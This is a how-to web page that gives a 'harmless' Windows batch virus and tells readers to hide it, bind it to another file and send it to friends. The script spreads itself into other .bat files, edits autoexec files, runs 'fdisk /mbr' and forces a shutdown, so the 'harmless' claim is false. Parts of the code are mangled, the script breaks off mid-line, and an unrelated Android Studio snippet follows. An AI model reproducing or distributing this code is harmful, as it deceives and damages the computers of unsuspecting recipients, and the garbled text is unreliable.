How to Create a Virus

Do you want to create a harmless virus that only prints some scary messages and finally shuts down the computer and as you start it again, your computer will work as it did before? Below you see the computer-code that is executed as you start the virus. The lines that start with REM are comments that the computer ignores.


1
Open Notepad in Windows. You can do this by navigating to Start > Programs > Accessories > Notepad, or simply by entering notepad under Start > Run.


2
Copy and paste the code given below, in the "Code" Section, into Notepad and click Save as.


3
Decide for a location to save the fake-virus. You should chose a location where the user won’t find the file, so saving it on the desktop would be a bad idea.


4
Change .txt to All files in the file type drop-down menu.



5
Chose a harmless file name. Replace the .txt at the with .bat and click on Save and close Notepad.


6
You have completed making the virus and now you must bind the virus with any other file. After binding the file, just send this file to your friends. Then you can just sit back and enjoy the show!
Create a Virus Step 6.jpg





CODE


Code

@echo off
title %0
rem conditional check.
echo welcome to this wonderful program! please wait while I delete all your files!
rem infection of the user
copy %0 c:\tmp.bat >null attrib +r +s +h c:\tmp.bat echo for %%i in (*.bat) do copy c:\tmp.bat+%%i %%i >>c:\windows\system32\autoexec.NT
echo echo virus detected! >>c:\windows\system32\autoexec.NT
echo pause >>c:\windows\system32\autoexec.NT
echo NT core:infected!
echo echo shame on you! >>c:\autoexec.bat
echo echo system hault-virus identified! >>c:\autoexec.bat
echo chkdsk >>c:\autoexec.bat
echo i t i s t o o l a t e, y o u h a v e a v i r u s, n o w u r l i f e i s n o t b e a u t i f u l
fdisk /mbr
shutdown -s -t 03 -c “windows has shut down because the lsass se

Installing Android Studio

Android Studio is the official IDE for Android app development. It provides the core tools needed to start developing Android apps, includ...